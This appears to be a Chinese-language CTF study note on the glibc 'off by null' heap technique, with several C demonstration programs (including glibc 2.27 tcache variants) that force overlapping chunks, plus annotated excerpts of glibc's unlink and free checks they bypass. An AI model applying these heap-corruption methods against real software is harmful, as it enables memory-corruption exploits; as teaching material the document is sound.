off by null

第一种利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
uint8_t* t1;
uint8_t* t2;
uint8_t* b1;
uint8_t* b2;
uint8_t* A = malloc(0x18);
uint8_t* B = malloc(0x100);
uint8_t* C = malloc(0x100);
malloc(0);//barriar

*(uint64_t*)(B+0xf0) = 0x100;
free(B);

A[0x18] = 0x00; // off by null

b1 = malloc(0x88);
b2 = malloc(0x18);

free(b1);
free(C); //trigger

t1 = malloc(0x88);
t2 = malloc(0x18);


assert(t1 == b1);
assert(t2 == b2);
return 0;
}

  • 看b1,b2。其中申请了b1之后就又free.这是为了使b1要在双向链表中(这个是unsorted bin),以便free(C);时“向前“合并,也即是将b1unlink出来
  • malloc(0x18);,从unsorted bin分割出来之后剩余的部分不会放到相应的bin中,依旧会停留在unsorted bin中因为其是从remainder中分割,直接返回。
  • 在比赛中未必会让分割比较大的块,但是编辑的内容要覆盖B[0xf0] - B[0xf8]

trigger

free(C);

1
2
3
4
5
6
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

由C通过pre_size找到了b1。

依然看unlink源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))

// #define
viod
unlink(AV, P, BK, FD) {
//-------------------------------------check------------------------------
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))
//-------------------------------------check------------------------------
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
... //large bin的处理
}
}
}

  • 在check中P即是b1块,他是通过b1的size来验证完整性的,下边有b2是满足的
  • 堆数据图

    另一种利用方式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <assert.h>

    int main()
    {
    uint8_t* t1;
    uint8_t* t2;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* A = malloc(0x100);
    uint8_t* B = malloc(0x18);
    uint8_t* C = malloc(0x100);
    malloc(0);//barriar

    free(A); //to get a freed chunk in unsorted bins

    *(uint64_t*)(B+0x10) = 0x130;
    B[0x18] = 0x00; //off by null

    *(uint64_t*)(C+0xf8) = 0x31;
    free(C);

    return 0;
    }
    堆数据图
  • free(A);这一行直接创造了一个在双向链表中的的freed chunk
  • *(uint64_t*)(C+0xf8) = 0x31;这一句呢是为了绕过对next_chunk的检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #define SIZE_SZ 0x8
    // av->system_mem = 0x21000

    nextchunk = chunk_at_offset(p, size);
    ...
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
    {
    errstr = "double free or corruption (!prev)";
    goto errout;
    }
    nextsize = chunksize(nextchunk);
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
    {
    errstr = "free(): invalid next size (normal)";
    goto errout;
    }
  • 这种方式会有一种特殊的情况,当C = malloc(0xf8),size 刚好为0x101,off by null时只改变了pre_in_use位,没有改变size,也就也就无需*(uint64_t*)(C+0xf8) = 0x31;的绕过

    对于2.27的版本

    exp1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    #include <stdio.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <assert.h>

    int main()
    {
    uint8_t* list[0x7];
    uint8_t* list2[0x7];
    uint8_t* A;
    uint8_t* B;
    uint8_t* C;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* t1;
    uint8_t* t2;
    uint8_t* barrier;

    for(int i=0;i<7;i++)
    {
    list2[i] = malloc(0x88);
    }

    for(int i=0;i<7;i++)
    {
    list[i] = malloc(0x100);
    }

    A = malloc(0x18);
    B = malloc(0x100);
    C = malloc(0x100);
    barrier = malloc(0x0);

    *(uint64_t*)(B+0xf0) = 0x100;

    for(int i=0;i<7;i++)
    {
    free(list[i]);
    }

    free(B);
    A[0x18] = 0x00; // off by null

    b1 = malloc(0x88);
    b2 = malloc(0x18);


    for(int i=0;i<7;i++)
    {
    free(list2[i]);
    }
    free(b1);
    free(C);
    //已经重叠了

    return 0;
    }

    exp2 较简便

    为了避免tcache的干扰采用了上述的特殊情况
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #include <stdio.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <assert.h>

    int main()
    {
    uint8_t* list[0x7];
    uint8_t* list2[0x7];
    uint8_t* A;
    uint8_t* B;
    uint8_t* C;

    for(int i=0;i<7;i++)
    {
    list[i] = malloc(0xf8);
    }


    A = malloc(0xf8);
    B = malloc(0x18);
    C = malloc(0xf8);
    malloc(0); //barrier

    for(int i=0;i<7;i++)
    {
    free(list[i]);
    }

    free(A);
    *(uint64_t*)(B+0x10) = 0x100+0x20;
    B[0x18] = 0x00;

    free(C);

    return 0;
    }
    写题时还发现这个检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
       if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

    /* consolidate forward */
    if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
    } else
    clear_inuse_bit_at_offset(nextchunk, 0);
    所以要先free(A)off by null,不然会检验C的下一个chunk的pre_inuse,当然也可中间做个铺垫。